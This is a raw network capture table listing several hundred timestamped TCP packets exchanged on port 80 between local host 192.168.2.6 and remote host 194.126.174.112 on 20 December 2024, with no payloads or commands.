Dec 20, 2024 17:43:13.232944965 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.233010054 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.233050108 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.233973980 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.234018087 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.234743118 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.234786034 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.234966993 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.235002995 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.235048056 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.235084057 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.236069918 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.236120939 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.236202002 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.236241102 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.237078905 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.237126112 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.237461090 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.237503052 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.238106012 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.238149881 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.238284111 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.238327980 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.239150047 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.239197969 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.239867926 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.239914894 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.240185022 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.240228891 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.240384102 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.240423918 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.241221905 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.241277933 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.241342068 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.241379976 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.242353916 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.242428064 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.242609978 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.242651939 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.243458986 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.243525982 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.243616104 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.243664980 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.244400024 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.244448900 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.244513035 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.244546890 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.245501041 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.245548010 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.245573997 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.245605946 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.246460915 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.246500015 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.246527910 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.246557951 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.247545004 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.247591972 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.247704029 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.247740030 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.248528957 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.248647928 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.249030113 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.249070883 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.249550104 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.249597073 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.250215054 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.250250101 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.250591040 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.250622988 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.250782013 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.250812054 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.251657963 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.251697063 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.252613068 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.252674103 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.252839088 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.252854109 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.252877951 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.252906084 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.253758907 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.253798008 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.253830910 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.253861904 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.254781961 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.254822969 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.255737066 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.255784988 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.255825996 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.255837917 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.255872011 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.255882025 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.256859064 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.256903887 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.257132053 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.257175922 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.257889986 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.257952929 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.257997990 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.258037090 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.258930922 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.258980989 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.259310007 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.259432077 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.259967089 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.260005951 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.260066032 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.260102987 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.261037111 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.261115074 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.261420012 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.261457920 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.262113094 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.262152910 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.262682915 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.262722015 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.263156891 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.263199091 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.263676882 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.263716936 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.264169931 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.264213085 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.264421940 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.264461040 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.265219927 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.265233994 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.265259027 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.265279055 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.266211987 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.266247988 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.266706944 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.266746998 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.267246962 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.267283916 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.267865896 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.267901897 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.268299103 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.268337965 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.268383026 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.268420935 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.269388914 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.269426107 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.269514084 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.269545078 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.270335913 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.270374060 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.408142090 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.408236980 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.408308029 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.408361912 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.408653975 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.408706903 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.408741951 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.408787966 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.409676075 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.409744024 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.409848928 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.410751104 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.410810947 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.410907984 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.410957098 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.411741018 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.411788940 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.411832094 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.411879063 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.412785053 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.412831068 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.412981987 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.413028955 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.413860083 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.413908005 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.413952112 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.413997889 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.414959908 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.415010929 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.415208101 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.415262938 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.415946007 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.415997982 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.416269064 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.416320086 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.416990042 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.417049885 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.417112112 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.417185068 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.418023109 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.418139935 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.418210030 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.418256998 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.419087887 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.419143915 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.419235945 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.419326067 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.420084953 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.420136929 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.420191050 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.420242071 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.421189070 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.421245098 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.421653986 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.421705961 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.422231913 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.422291040 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.422388077 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.422454119 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.423263073 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.423404932 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.423464060 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.423485994 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.424237967 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.424292088 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.424479008 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.424525976 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.425302029 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.425353050 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.425394058 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.425442934 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.426321030 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.426366091 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.426419973 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.426465988 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.427388906 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.427437067 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.427571058 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.427614927 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.428395987 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.428445101 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.428966045 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.429016113 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.429483891 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.429532051 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.429557085 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.429596901 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.430502892 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.430553913 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.430649996 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.430696011 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.431535006 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.431587934 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.432111025 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.432162046 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.432550907 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.432600021 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.432640076 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.432687998 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.433641911 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.433692932 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.434118032 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.434165001 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.434659958 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.434711933 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.434794903 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.434842110 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.435739994 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.435791969 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.435858965 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.435906887 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.436741114 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.436791897 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.436959982 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.437006950 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.437772036 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.437822104 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.437938929 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.437987089 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.438826084 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.438875914 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.438973904 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.439021111 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.439851046 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.439917088 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.439996958 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.440047026 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.440931082 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.440988064 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.441072941 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.441131115 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.441967010 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.442023993 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.442763090 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.442812920 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.442981958 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.443105936 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.443691969 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.443752050 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.444009066 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.444082022 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.444128036 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.444174051 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.445085049 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.445153952 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.445157051 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.445195913 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.446136951 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.446204901 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.446259022 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.446301937 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.447170019 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.447236061 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.447307110 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.447386980 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.448182106 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.448240995 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.448271990 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.448318958 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.449235916 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.449295998 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.449673891 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.449723005 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.450277090 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.450326920 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.450731993 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.450776100 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.451363087 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.451375961 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.451421976 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.452402115 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.452414989 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.452451944 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.453385115 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.453432083 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.453519106 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.453562975 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.454442978 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.454493999 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.454655886 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.454699993 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.455487013 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.455533028 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.456579924 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.456592083 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.456629992 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.456640005 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.456648111 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.456686974 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.457580090 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.457643032 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.457920074 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.457966089 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.458580971 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.458627939 CET	49730	80	192.168.2.6	194.126.174.112
